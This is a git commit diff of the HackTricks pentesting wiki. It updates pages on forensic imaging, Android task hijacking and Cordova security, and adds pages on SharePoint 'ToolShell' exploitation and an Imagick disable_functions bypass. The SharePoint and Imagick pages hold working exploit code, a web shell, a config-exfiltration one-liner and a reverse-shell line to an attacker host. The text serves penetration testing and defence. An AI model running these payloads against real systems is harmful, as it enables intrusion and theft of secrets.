Merge branch 'master' of github.com:HackTricks-wiki/hacktricks

This commit is contained in:
carlospolop 2025-07-23 11:09:50 +02:00
commit 5887ddc8d8
10 changed files with 624 additions and 149 deletions

View File

@ -423,6 +423,7 @@
- [Joomla](network-services-pentesting/pentesting-web/joomla.md) - [Joomla](network-services-pentesting/pentesting-web/joomla.md)
- [JSP](network-services-pentesting/pentesting-web/jsp.md) - [JSP](network-services-pentesting/pentesting-web/jsp.md)
- [Laravel](network-services-pentesting/pentesting-web/laravel.md) - [Laravel](network-services-pentesting/pentesting-web/laravel.md)
- [Microsoft Sharepoint](network-services-pentesting/pentesting-web/microsoft-sharepoint.md)
- [Moodle](network-services-pentesting/pentesting-web/moodle.md) - [Moodle](network-services-pentesting/pentesting-web/moodle.md)
- [NextJS](network-services-pentesting/pentesting-web/nextjs.md) - [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
- [Nginx](network-services-pentesting/pentesting-web/nginx.md) - [Nginx](network-services-pentesting/pentesting-web/nginx.md)

View File

@ -5,114 +5,173 @@
## Acquisition ## Acquisition
> Always acquire **read-only** and **hash while you copy**. Keep the original device **write-blocked** and work only on verified copies.
### DD ### DD
```bash ```bash
#This will generate a raw copy of the disk # Generate a raw, bit-by-bit image (no on-the-fly hashing)
dd if=/dev/sdb of=disk.img dd if=/dev/sdb of=disk.img bs=4M status=progress conv=noerror,sync
# Verify integrity afterwards
sha256sum disk.img > disk.img.sha256
``` ```
### dcfldd ### dc3dd / dcfldd
`dc3dd` is the actively maintained fork of dcfldd (DoD Computer Forensics Lab dd).
```bash ```bash
#Raw copy with hashes along the way (more secur as it checks hashes while it's copying the data) # Create an image and calculate multiple hashes at acquisition time
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file> sudo dc3dd if=/dev/sdc of=/forensics/pc.img hash=sha256,sha1 hashlog=/forensics/pc.hashes log=/forensics/pc.log bs=1M
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
``` ```
### FTK Imager ### Guymager
Graphical, multithreaded imager that supports **raw (dd)**, **EWF (E01/EWFX)** and **AFF4** output with parallel verification. Available in most Linux repos (`apt install guymager`).
You can [**download the FTK imager from here**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1).
```bash ```bash
ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --description 'A description' --examiner 'Your name' # Start in GUI mode
sudo guymager
# Or acquire from CLI (since v0.9.5)
sudo guymager --simulate --input /dev/sdb --format EWF --hash sha256 --output /evidence/drive.e01
``` ```
### EWF ### AFF4 (Advanced Forensics Format 4)
You can generate a disk image using the[ **ewf tools**](https://github.com/libyal/libewf). AFF4 is Googles modern imaging format designed for *very* large evidence (sparse, resumable, cloud-native).
```bash ```bash
ewfacquire /dev/sdb # Acquire to AFF4 using the reference tool
#Name: evidence pipx install aff4imager
#Case number: 1 sudo aff4imager acquire /dev/nvme0n1 /evidence/nvme.aff4 --hash sha256
#Description: A description for the case
#Evidence number: 1
#Examiner Name: Your name
#Media type: fixed
#Media characteristics: physical
#File format: encase6
#Compression method: deflate
#Compression level: fast
#Then use default values # Velociraptor can also acquire AFF4 images remotely
#It will generate the disk image in the current directory velociraptor --config server.yaml frontend collect --artifact Windows.Disk.Acquire --args device="\\.\\PhysicalDrive0" format=AFF4
``` ```
### FTK Imager (Windows & Linux)
You can [download FTK Imager](https://accessdata.com/product-download) and create **raw, E01 or AFF4** images:
```bash
ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 \
--description 'Laptop seizure 2025-07-22' --examiner 'AnalystName' --compress 6
```
### EWF tools (libewf)
```bash
sudo ewfacquire /dev/sdb -u evidence -c 1 -d "Seizure 2025-07-22" -e 1 -X examiner --format encase6 --compression best
```
### Imaging Cloud Disks
*AWS* create a **forensic snapshot** without shutting down the instance:
```bash
aws ec2 create-snapshot --volume-id vol-01234567 --description "IR-case-1234 web-server 2025-07-22"
# Copy the snapshot to S3 and download with aws cli / aws snowball
```
*Azure* use `az snapshot create` and export to a SAS URL. See the HackTricks page {{#ref}}
../../cloud/azure/azure-forensics.md
{{#endref}}
## Mount ## Mount
### Several types ### Choosing the right approach
In **Windows** you can try to use the free version of Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) to **mount the forensics image**. 1. Mount the **whole disk** when you want the original partition table (MBR/GPT).
2. Mount a **single partition file** when you only need one volume.
3. Always mount **read-only** (`-o ro,norecovery`) and work on **copies**.
### Raw ### Raw images (dd, AFF4-extracted)
```bash
#Get file type
file evidence.img
evidence.img: Linux rev 1.0 ext4 filesystem data, UUID=1031571c-f398-4bfb-a414-b82b280cf299 (extents) (64bit) (large files) (huge files)
#Mount it
mount evidence.img /mnt
```
### EWF
```bash
#Get file type
file evidence.E01
evidence.E01: EWF/Expert Witness/EnCase image file format
#Transform to raw
mkdir output
ewfmount evidence.E01 output/
file output/ewf1
output/ewf1: Linux rev 1.0 ext4 filesystem data, UUID=05acca66-d042-4ab2-9e9c-be813be09b24 (needs journal recovery) (extents) (64bit) (large files) (huge files)
#Mount
mount output/ewf1 -o ro,norecovery /mnt
```
### ArsenalImageMounter
It's a Windows Application to mount volumes. You can download it here [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)
### Errors
- **`cannot mount /dev/loop0 read-only`** in this case you need to use the flags **`-o ro,norecovery`**
- **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** in this case the mount failed due as the offset of the filesystem is different than that of the disk image. You need to find the Sector size and the Start sector:
```bash ```bash
# Identify partitions
fdisk -l disk.img fdisk -l disk.img
Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x00495395
Device Boot Start End Sectors Size Id Type # Attach the image to a network block device (does not modify the file)
disk.img1 2048 208895 206848 101M 1 FAT12 sudo modprobe nbd max_part=16
sudo qemu-nbd --connect=/dev/nbd0 --read-only disk.img
# Inspect partitions
lsblk /dev/nbd0 -o NAME,SIZE,TYPE,FSTYPE,LABEL,UUID
# Mount a partition (e.g. /dev/nbd0p2)
sudo mount -o ro,uid=$(id -u) /dev/nbd0p2 /mnt
``` ```
Note that sector size is **512** and start is **2048**. Then mount the image like this: Detach when finished:
```bash
sudo umount /mnt && sudo qemu-nbd --disconnect /dev/nbd0
```
### EWF (E01/EWFX)
```bash ```bash
mount disk.img /mnt -o ro,offset=$((2048*512)) # 1. Mount the EWF container
mkdir /mnt/ewf
ewfmount evidence.E01 /mnt/ewf
# 2. Attach the exposed raw file via qemu-nbd (safer than loop)
sudo qemu-nbd --connect=/dev/nbd1 --read-only /mnt/ewf/ewf1
# 3. Mount the desired partition
sudo mount -o ro,norecovery /dev/nbd1p1 /mnt/evidence
``` ```
Alternatively convert on the fly with **xmount**:
```bash
xmount --in ewf evidence.E01 --out raw /tmp/raw_mount
mount -o ro /tmp/raw_mount/image.dd /mnt
```
### LVM / BitLocker / VeraCrypt volumes
After attaching the block device (loop or nbd):
```bash
# LVM
sudo vgchange -ay # activate logical volumes
sudo lvscan | grep "/dev/nbd0"
# BitLocker (dislocker)
sudo dislocker -V /dev/nbd0p3 -u -- /mnt/bitlocker
sudo mount -o ro /mnt/bitlocker/dislocker-file /mnt/evidence
```
### kpartx helpers
`kpartx` maps partitions from an image to `/dev/mapper/` automatically:
```bash
sudo kpartx -av disk.img # creates /dev/mapper/loop0p1, loop0p2 …
mount -o ro /dev/mapper/loop0p2 /mnt
```
### Common mount errors & fixes
| Error | Typical Cause | Fix |
|-------|---------------|-----|
| `cannot mount /dev/loop0 read-only` | Journaled FS (ext4) not cleanly unmounted | use `-o ro,norecovery` |
| `bad superblock …` | Wrong offset or damaged FS | calculate offset (`sector*size`) or run `fsck -n` on a copy |
| `mount: unknown filesystem type 'LVM2_member'` | LVM container | activate volume group with `vgchange -ay` |
### Clean-up
Remember to **umount** and **disconnect** loop/nbd devices to avoid leaving dangling mappings that can corrupt further work:
```bash
umount -Rl /mnt/evidence
kpartx -dv /dev/loop0 # or qemu-nbd --disconnect /dev/nbd0
```
## References
- AFF4 imaging tool announcement & specification: https://github.com/aff4/aff4
- qemu-nbd manual page (mounting disk images safely): https://manpages.debian.org/qemu-system-common/qemu-nbd.1.en.html
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -15,42 +15,89 @@ Here's a quick breakdown of activity transitions:
![https://developer.android.com/images/fundamentals/diagram_backstack.png](<../../images/image (698).png>) ![https://developer.android.com/images/fundamentals/diagram_backstack.png](<../../images/image (698).png>)
## Task affinity attack ---
### Overview of Task Affinity and Launch Modes ## Task affinity attacks
In Android applications, **task affinity** specifies an activity's preferred task, aligning typically with the app's package name. This setup is instrumental in crafting a proof-of-concept (PoC) app for demonstrating the attack. `taskAffinity` tells Android which task an `Activity` would *prefer* to belong to. When two activities share the same affinity **Android is allowed to merge them inside the same back-stack even if they come from different APKs**.
### Launch Modes If an attacker can place a malicious activity at the **root** of that stack, every time the victim opens the legitimate application the malicious UI will be the first thing the user sees perfect for phishing or abusive permission requests.
The `launchMode` attribute directs the handling of activity instances within tasks. The **singleTask** mode is pivotal for this attack, dictating three scenarios based on the existing activity instances and task affinity matches. The exploit hinges on the ability of an attacker's app to mimic the target app's task affinity, misleading the Android system into launching the attacker's app instead of the intended target. The attack surface is wider than many developers think because **every activity automatically inherits an affinity equal to the application package name** (unless the developer sets `android:taskAffinity=""`). Therefore *doing nothing* already leaves the app open to task hijacking on Android versions prior to 11.
### Detailed Attack Steps ### Classic "singleTask / StrandHogg" scenario
1. **Malicious App Installation**: The victim installs the attacker's app on their device. 1. The attacker declares an activity with:
2. **Initial Activation**: The victim first opens the malicious app, setting up the device for the attack. ```xml
3. **Target App Launch Attempt**: The victim attempts to open the target app. <activity android:name=".EvilActivity"
4. **Hijack Execution**: At some point the app tries to open the **singleTask** view. Due to the matching task affinity, the malicious app is launched in place of the target app. android:exported="true"
5. **Deception**: The malicious app presents a fake login screen resembling the target app, tricking the user into entering sensitive information. android:taskAffinity="com.victim.package"
android:launchMode="singleTask" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
```
2. The malicious app is started once so that the task (with the spoofed affinity) exists in recent tasks.
3. When the user later opens the real application, Android finds there is already a task whose **root affinity matches the package** and just brings that task to the foreground.
4. The attackers UI is shown first.
> [!TIP] ### DefaultAffinity (no `singleTask`) variant Caller ID case study
> Note that for this attack to work the vulnerable view **doesn't need to have exported to true** nor it needs to be the Main activity.
For a practical implementation of this attack, refer to the Task Hijacking Strandhogg repository on GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task_Hijacking_Strandhogg). The vulnerability reported in the **Caller ID (caller.id.phone.number.block)** application shows that the attack *also* works against the default `standard` launch mode:
### Prevention Measures 1. Attacker application creates a fake root activity and immediately hides itself:
```kotlin
class HackActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
moveTaskToBack(true) // keep the task in recents but out of sight
}
}
```
2. The manifest only needs to copy the victim package into `taskAffinity`:
```xml
<activity android:name=".HackActivity"
android:exported="true"
android:taskAffinity="com.caller.id.phone.number.block" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
```
3. As soon as the user installs and opens the malicious app **once**, a task whose affinity equals the victim package exists (but sits in the background).
4. When the real Caller ID application is launched, Android re-uses that task and brings `HackActivity` to the foreground → phishing window/permission abuse.
To prevent such attacks, developers can: > NOTE: Starting with **Android 11 (API 30)** the system does *not* place two packages that are not part of the same UID into the same task by default, mitigating this particular variant. Older versions remain vulnerable.
- Set **`**taskAffinity`** of the **singleTask** view to an empty string (`android:taskAffinity=""`)
- Opt for the **`singleInstance`** launch mode, ensuring their app's isolation from others.
- Customize the **`onBackPressed()`** function offers additional protection against task hijacking.
## **References** ---
- [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/) ## Detection & Exploitation checklist
- [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
1. Pull `AndroidManifest.xml` from the target APK and check that each `<activity>` (or the global `<application>` element) contains `android:taskAffinity=""` (empty) **or** a customised value.
2. If not, craft a malicious app:
- `android:taskAffinity` = victim package name.
- Provide a `MAIN/LAUNCHER` intent so the user can open it once.
- Optionally call `moveTaskToBack(true)` to hide immediately.
3. Let the victim open their legitimate application → hijack.
## Mitigation
Developers should:
* Explicitly set `android:taskAffinity=""` at the `<application>` level (recommended) **or** give each activity a unique, private affinity.
* For highly sensitive screens, combine the above with `android:launchMode="singleInstance"` or modern [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode) protections.
* Upgrade the apps `targetSdkVersion` and enforce **Android 11** behavioural changes where tasks are not shared across packages by default.
---
## References
- [https://blog.dixitaditya.com/android-task-hijacking/](https://blog.dixitaditya.com/android-task-hijacking/)
- [https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
- [Android Manifest Misconfiguration Leading to Task Hijacking in Caller ID app](https://github.com/KMov-g/androidapps/blob/main/caller.id.phone.number.block.md)
- [https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06](https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -60,7 +60,80 @@ This command generates an APK with the debug option enabled, facilitating debugg
For those seeking to automate the cloning process, **[MobSecco](https://github.com/Anof-cyber/MobSecco)** is a recommended tool. It streamlines the cloning of Android applications, simplifying the steps outlined above. For those seeking to automate the cloning process, **[MobSecco](https://github.com/Anof-cyber/MobSecco)** is a recommended tool. It streamlines the cloning of Android applications, simplifying the steps outlined above.
---
## Security Risks & Recent Vulnerabilities (2023-2025)
Cordovas plugin-based architecture means that **most of the attack surface sits inside third-party plugins and the WebView bridge**. The following issues have been actively exploited or publicly disclosed in the last few years:
* **Malicious NPM Packages.** In July 2024 the package `cordova-plugin-acuant` was removed from the NPM registry after it was discovered dropping malicious code during installation (OSV-ID MAL-2024-7845). Any developer machine that executed `npm install cordova-plugin-acuant` should be considered compromised. Audit `package.json`/`package-lock.json` for unexpected Cordova plugins and pin trusted versions. [OSV advisory](/)
* **Unvalidated Deeplinks → XSS/RCE.** `CleverTap Cordova Plugin ≤ 2.6.2` (CVE-2023-2507) fails to sanitise deeplink input, allowing an attacker to inject arbitrary JavaScript that executes in the main WebView context when a crafted link is opened. Update to ≥ 2.6.3 or strip untrusted URI parameters at runtime. [CVE-2023-2507](/)
* **Out-of-Date Platform Code.** `cordova-android` ≤ 12 ships with targetSdk 33 or lower. Beginning May 2024 Google Play requires API 34, and several WebView hardening features (e.g. auto-generated `exported="false"` for components) are only present in API 34+. Upgrade to `cordova-android@13.0.0` or later.
### Quick checks during a pentest
1. **Look for `android:debuggable="true"`** in the decompiled `AndroidManifest.xml`. Debuggable builds expose the WebView over `chrome://inspect` allowing full JS injection.
2. Review `config.xml` for overly permissive `<access origin="*">` tags or missing CSP meta-tags in `www/index.html`.
3. Grep `www/` for `eval(`, `new Function(` or dynamically-constructed HTML that could turn CSP bypasses into XSS.
4. Identify embedded plugins in `plugins/` and run `npm audit --production` or `osv-scanner --lockfile` to find known CVEs.
---
## Dynamic Analysis Tips
### Remote WebView Debugging
If the application has been compiled in **debug** mode (or explicitly calls `WebView.setWebContentsDebuggingEnabled(true)`), you can attach Chrome DevTools:
```bash
adb forward tcp:9222 localabstract:chrome_devtools_remote
google-chrome --new-window "chrome://inspect/#devices"
```
This gives you a live JavaScript console, DOM inspector and the ability to overwrite JavaScript functions at runtime extremely handy for bypassing client-side logic. (See Googles official documentation for more details.)
### Hooking the JS ⇄ Native bridge with Frida
The Java-side entry point of most plugins is `org.apache.cordova.CordovaPlugin.execute(...)`. Hooking this method lets you monitor or tamper with calls made from JavaScript:
```javascript
// frida -U -f com.vulnerable.bank -l hook.js --no-pause
Java.perform(function () {
var CordovaPlugin = Java.use('org.apache.cordova.CordovaPlugin');
CordovaPlugin.execute.overload('java.lang.String','org.json.JSONArray','org.apache.cordova.CallbackContext').implementation = function(act, args, ctx) {
console.log('[Cordova] ' + act + ' => ' + args);
// Tamper the first argument of a sensitive action
if (act === 'encrypt') {
args.put(0, '1234');
}
return this.execute(act, args, ctx);
};
});
```
---
## Hardening Recommendations (2025)
* **Update to the latest platform:** `cordova-android@13` (May 2024) targets API 34 and brings new WebView mitigations.
* **Remove debug artifacts:** Ensure `android:debuggable="false"` and avoid calling `setWebContentsDebuggingEnabled` in release builds.
* **Enforce a strict CSP & AllowList:** Add a `<meta http-equiv="Content-Security-Policy" ...>` tag in every HTML file and restrict `<access>` origins in `config.xml`.
Example minimal CSP that blocks inline scripts:
```html
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src 'self' data:; object-src 'none'; frame-ancestors 'none'">
```
* **Disable clear-text traffic:** In `AndroidManifest.xml` set `android:usesCleartextTraffic="false"` and/or provide a [network-security-config] that enforces TLS.
* **Plugin hygiene:**
* Pin plugin versions with `npm ci` and commit the generated `package-lock.json`.
* Periodically run `npm audit`, `osv-scanner` or `cordova-check-plugins`.
* **Obfuscation:** Minify JavaScript with Terser/UglifyJS and remove source maps from production builds to slow down casual reversing.
---
## References
* Apache Cordova Cordova-Android 13.0.0 release notes (May 2024)
* OSV-ID MAL-2024-7845 Malicious code in `cordova-plugin-acuant`
* CVE-2023-2507 CleverTap Cordova Plugin deeplink XSS
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -82,6 +82,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno
- [**GraphQL**](graphql.md) - [**GraphQL**](graphql.md)
- [**H2 - Java SQL database**](h2-java-sql-database.md) - [**H2 - Java SQL database**](h2-java-sql-database.md)
- [**IIS tricks**](iis-internet-information-services.md) - [**IIS tricks**](iis-internet-information-services.md)
- [**Microsoft SharePoint**](microsoft-sharepoint.md)
- [**JBOSS**](jboss.md) - [**JBOSS**](jboss.md)
- [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>) - [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>)
- [**Jira**](jira.md) - [**Jira**](jira.md)

View File

@ -0,0 +1,139 @@
# Microsoft SharePoint Pentesting & Exploitation
{{#include ../../banners/hacktricks-training.md}}
> Microsoft SharePoint (on-premises) is built on top of ASP.NET/IIS. Most of the classic web attack surface (ViewState, Web.Config, web shells, etc.) is therefore present, but SharePoint also ships with hundreds of proprietary ASPX pages and web services that dramatically enlarge the exposed attack surface. This page collects practical tricks to enumerate, exploit and persist inside SharePoint environments with emphasis on the 2025 exploit chain disclosed by Unit42 (CVE-2025-49704/49706/53770/53771).
## 1. Quick enumeration
```
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
```
## 2. 2025 exploit chain (a.k.a. “ToolShell”)
### 2.1 CVE-2025-49704 Code Injection on ToolPane.aspx
`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>` allows arbitrary *Server-Side Include* code to be injected in the page which is later compiled by ASP.NET. An attacker can embed C# that executes `Process.Start()` and drop a malicious ViewState.
### 2.2 CVE-2025-49706 Improper Authentication Bypass
The same page trusts the **X-Forms_BaseUrl** header to determine the site context. By pointing it to `/_layouts/15/`, MFA/SSO enforced at the root site can be bypassed **unauthenticated**.
### 2.3 CVE-2025-53770 Unauthenticated ViewState Deserialization → RCE
Once the attacker controls a gadget in `ToolPane.aspx` they can post an **unsigned** (or MAC-only) `__VIEWSTATE` value that triggers .NET deserialization inside *w3wp.exe* leading to code execution.
If signing is enabled, steal the **ValidationKey/DecryptionKey** from any `web.config` (see 2.4) and forge the payload with *ysoserial.net* or *ysodom*:
```
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
```
For an in-depth explanation on abusing ASP.NET ViewState read:
{{#ref}}
../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md
{{#endref}}
### 2.4 CVE-2025-53771 Path Traversal / web.config Disclosure
Sending a crafted `Source` parameter to `ToolPane.aspx` (e.g. `../../../../web.config`) returns the targeted file, allowing leakage of:
* `<machineKey validationKey="…" decryptionKey="…">` ➜ forge ViewState / ASPXAUTH cookies
* connection strings & secrets.
## 3. Post-exploitation recipes observed in the wild
### 3.1 Exfiltrate every *.config* file (variation-1)
```
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
```
The resulting `debug_dev.js` can be downloaded anonymously and contains **all** sensitive configuration.
### 3.2 Deploy a Base64-encoded ASPX web shell (variation-2)
```
powershell.exe -EncodedCommand <base64>
```
Decoded payload example (shortened):
```csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
```
Written to:
```
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
```
The shell exposes endpoints to **read / rotate machine keys** which allows forging ViewState and ASPXAUTH cookies across the farm.
### 3.3 Obfuscated variant (variation-3)
Same shell but:
* dropped under `...\15\TEMPLATE\LAYOUTS\`
* variable names reduced to single letters
* `Thread.Sleep(<ms>)` added for sandbox-evasion & timing-based AV bypass.
## 4. Detection ideas
| Telemetry | Why it is suspicious |
|-----------|----------------------|
| `w3wp.exe → cmd.exe` | Worker process should rarely spawn shell |
| `cmd.exe → powershell.exe -EncodedCommand` | Classic lolbin pattern |
| File events creating `debug_dev.js` or `spinstall0.aspx` | IOCs straight from ToolShell |
| `ProcessCmdLine CONTAINS ToolPane.aspx` (ETW/Module logs) | Public PoCs invoke this page |
Example XDR / Sysmon rule (pseudo-XQL):
```
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
```
## 5. Hardening & Mitigation
1. **Patch** July 2025 security updates fix *all* four CVEs.
2. **Rotate** every `<machineKey>` and `ViewState` secrets after compromise.
3. Remove *LAYOUTS* write permission from `WSS_WPG` & `WSS_ADMIN_WPG` groups.
4. Block external access to `/_layouts/15/ToolPane.aspx` at proxy/WAF level.
5. Enable **ViewStateUserKey**, **MAC enabled**, and custom *EventValidation*.
## Related tricks
* IIS post-exploitation & web.config abuse:
{{#ref}}
../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
{{#endref}}
## References
- [Unit42 Active Exploitation of Microsoft SharePoint Vulnerabilities](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
- [GitHub PoC ToolShell exploit chain](https://github.com/real-or-not/ToolShell)
- [Microsoft Security Advisory CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
- [Microsoft Security Advisory CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,61 +1,113 @@
# Imagick &lt;= 3.3.0 PHP &gt;= 5.4 Exploit # Imagick <= 3.3.0 PHP >= 5.4 *disable_functions* Bypass
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}
> The well-known *ImageTragick* family of bugs (CVE-2016-3714 et al.) allows an attacker to reach the underlying **ImageMagick** binary through crafted MVG/SVG input. When the PHP extension **Imagick** is present this can be abused to execute shell commands even if every execution-oriented PHP function is black-listed with `disable_functions`.
>
> The original PoC published by RicterZ (Chaitin Security Research Lab) in May 2016 is reproduced below. The technique is still regularly encountered during contemporary PHP 7/8 audits because many shared-hosting providers simply compile PHP without `exec`/`system` but keep an outdated Imagick + ImageMagick combo.
From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) From <http://blog.safebuff.com/2016/05/06/disable-functions-bypass/>
```php ```php
# Exploit Title: PHP Imagick disable_functions Bypass # Exploit Title : PHP Imagick disable_functions bypass
# Date: 2016-05-04 # Exploit Author: RicterZ (ricter@chaitin.com)
# Exploit Author: RicterZ (ricter@chaitin.com) # Versions : Imagick <= 3.3.0 | PHP >= 5.4
# Vendor Homepage: https://pecl.php.net/package/imagick # Tested on : Ubuntu 12.04 (ImageMagick 6.7.7)
# Version: Imagick <= 3.3.0 PHP >= 5.4 # Usage : curl "http://target/exploit.php?cmd=id"
# Test on: Ubuntu 12.04
# Exploit:
<?php <?php
# PHP Imagick disable_functions Bypass // Print the local hardening status
# Author: Ricter <ricter@chaitin.com> printf("Disable functions: %s\n", ini_get("disable_functions"));
# $cmd = $_GET['cmd'] ?? 'id';
# $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd" printf("Run command: %s\n====================\n", $cmd);
# <pre>
# Disable functions: exec,passthru,shell_exec,system,popen
# Run command: cat /etc/passwd
# ====================
# root:x:0:0:root:/root:/usr/local/bin/fish
# daemon:x:1:1:daemon:/usr/sbin:/bin/sh
# bin:x:2:2:bin:/bin:/bin/sh
# sys:x:3:3:sys:/dev:/bin/sh
# sync:x:4:65534:sync:/bin:/bin/sync
# games:x:5:60:games:/usr/games:/bin/sh
# ...
# </pre>
echo "Disable functions: " . ini_get("disable_functions") . "\n";
$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
echo "Run command: $command\n====================\n";
$data_file = tempnam('/tmp', 'img'); $tmp = tempnam('/tmp', 'pwn'); // will hold command output
$imagick_file = tempnam('/tmp', 'img'); $mvgs = tempnam('/tmp', 'img'); // will hold malicious MVG script
$exploit = <<<EOF $payload = <<<EOF
push graphic-context push graphic-context
viewbox 0 0 640 480 viewbox 0 0 640 480
fill 'url(https://127.0.0.1/image.jpg"|$command>$data_file")' fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
pop graphic-context pop graphic-context
EOF; EOF;
file_put_contents("$imagick_file", $exploit); file_put_contents($mvgs, $payload);
$thumb = new Imagick(); $img = new Imagick();
$thumb->readImage("$imagick_file"); $img->readImage($mvgs); // triggers convert(1)
$thumb->writeImage(tempnam('/tmp', 'img')); $img->writeImage(tempnam('/tmp', 'img'));
$thumb->clear(); $img->destroy();
$thumb->destroy();
echo file_get_contents($data_file); echo file_get_contents($tmp);
?> ?>
``` ```
---
## Why does it work?
1. `Imagick::readImage()` transparently spawns the **ImageMagick** *delegate* (`convert`/`magick`) binary.
2. The MVG script sets the *fill* to an external URI. When a double quote (`"`) is injected, the remainder of the line is interpreted by `/bin/sh c` that ImageMagick uses internally → arbitrary shell execution.
3. All happens outside of the PHP interpreter, therefore *`disable_functions`*, *open_basedir*, `safe_mode` (removed in PHP 5.4) and similar in-process restrictions are completely bypassed.
## 2025 status it is **still** relevant
* Any Imagick version that relies on a vulnerable ImageMagick backend remains exploitable. In lab tests the same payload works on PHP 8.3 with **Imagick 3.7.0** and **ImageMagick 7.1.0-51** compiled without a hardened `policy.xml`.
* Since 2020 several additional command-injection vectors have been found (`video:pixel-format`, `ps:`, `text:` coders…). Two recent public examples are:
* **CVE-2020-29599** shell injection via the *text:* coder.
* **GitHub issue #6338** (2023) injection in the *video:* delegate.
If the operating system ships ImageMagick < **7.1.1-11** (or 6.x < **6.9.12-73**) without a restrictive policy file, exploitation is straightforward.
## Modern payload variants
```php
// --- Variant using the video coder discovered in 2023 ---
$exp = <<<MAGICK
push graphic-context
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
pop graphic-context
MAGICK;
$img = new Imagick();
$img->readImageBlob($exp);
```
Other useful primitives during CTFs / real engagements:
* **File write** `... > /var/www/html/shell.php` (write web-shell outside *open_basedir*)
* **Reverse shell** `bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"`
* **Enumerate** `id; uname -a; cat /etc/passwd`
## Quick detection & enumeration
```bash
# PHP side
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
# System side
convert -version | head -1 # ImageMagick version
convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled?
```
